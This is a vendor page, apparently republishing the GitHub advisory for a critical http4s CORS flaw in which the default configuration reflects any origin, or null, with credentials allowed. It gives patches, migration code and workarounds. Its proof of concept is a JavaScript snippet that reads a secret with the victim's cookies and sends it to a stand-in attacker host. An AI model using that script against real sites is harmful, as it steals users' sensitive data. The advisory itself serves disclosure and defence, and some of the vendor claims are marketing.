GHSA-52cf-226f-rhr6
CRITICALGHSA-52cf-226f-rhr6 is a critical-severity (CVSS 9.1) CWE-346 vulnerability in org.http4s:http4s-server_2.13.0-M5. O3 Security confirms whether GHSA-52cf-226f-rhr6 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Default CORS config allows any origin with credentials
Real-World Exposure
org.http4s:http4s-server_2.13.0-M5☕org.http4s:http4s-server_3☕org.http4s:http4s-server_3☕org.http4s:http4s-server_2.10☕org.http4s:http4s-server_2.11☕org.http4s:http4s-server_2.12☕org.http4s:http4s-server_2.12☕org.http4s:http4s-server_2.12+3 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Origin reflection attack
The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app, using the default CORS config, running at https://vulnerable.example.com:
val routes: HttpRoutes[F] = HttpRoutes.of {
case req if req.pathInfo === "/secret" =>
Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)
The following request is made to our server:
GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...
When the anyOrigin flag of CORSConfig is true, as is the case in the default argument to CORS, the middleware will allow sharing its resource regardless of the allowedOrigins setting. Paired with the default allowCredentials, the server approves sharing responses that may have required credentials for sensitive information with any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true
Content-Type: text/plain
p4ssw0rd
A malicious script running on https://adversary.example.org/ can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.example.org/secret',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//bad-people.example.org/log?key='+this.responseText;
};
Null origin attack
The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null, permitting a similar exfiltration of secrets to the above.
Patches
The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS implementation and CORSConfig are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:
Migration
The CORS object exposes a default CORSPolicy via CORS.policy. This can be configured with various with* methods, like any http4s builder. Finally, the CORSPolicy may be applied to any Http, like any other http4s middleware:
val routes: HttpRoutes[F] = ???
val cors = CORS.policy
.withAllowOriginAll
.withAllowCredentials(false)
.apply(routes)
Workarounds
It is possible to be safe in unpatched versions, but note the following defects exist:
- The
anyMethodflag, enabled by default, accepts methods that cannot be enumerated in theAccess-Control-Allow-Methodspreflight response. - Rejected CORS requests receive a
403response, when the client should be the enforcement point. The server should just omit all CORS response headers. - Does not send
Vary: Access-Control-Request-Headerson preflight requests. This may confuse caches. - Does not validate the
Access-Control-Request-Headersof a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. - Needlessly sends
Vary: Access-Control-Request-Methodon non-preflight requests. This should be harmless in practice. - Needlessly sends
Access-Control-Max-Ageheader on non-preflight requests. This should be harmless in practice. - Sends an invalid
Access-Control-Allow-Credentials: falseinstead of omitting the header. This should be harmless in practice.
Explicit origins
In versions before the patch, set anyOrigin to false, and then specifically include trusted origins in allowedOrigins.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
anyOrigin = false,
allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
.withAnyOrigin(false)
.withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)
Disable credentials
Alternatively, sharing responses tainted by credentials can be deprecated.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)
References
For more information
If you have any questions or comments about this advisory:
- Open an issue in GitHub
- Contact us via the http4s security policy
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.http4s:http4s-server_2.13.0-M5 | all versions | No fix |
| ☕Maven | org.http4s:http4s-server_3 | ≥ 0.22.0&&< 0.22.3 | 0.22.3 |
| ☕Maven | org.http4s:http4s-server_3 | ≥ 0.23.0&&< 0.23.2 | 0.23.2 |
| ☕Maven | org.http4s:http4s-server_2.10 | all versions | No fix |
| ☕Maven | org.http4s:http4s-server_2.11 | all versions | No fix |
| ☕Maven | org.http4s:http4s-server_2.12 | all versions | 0.21.27 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.http4s:http4s-server_2.13.0-M5. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
No patched version of org.http4s:http4s-server_2.13.0-M5 has shipped for GHSA-52cf-226f-rhr6 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-52cf-226f-rhr6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-52cf-226f-rhr6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-52cf-226f-rhr6 in your dependencies?
O3 detects GHSA-52cf-226f-rhr6 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.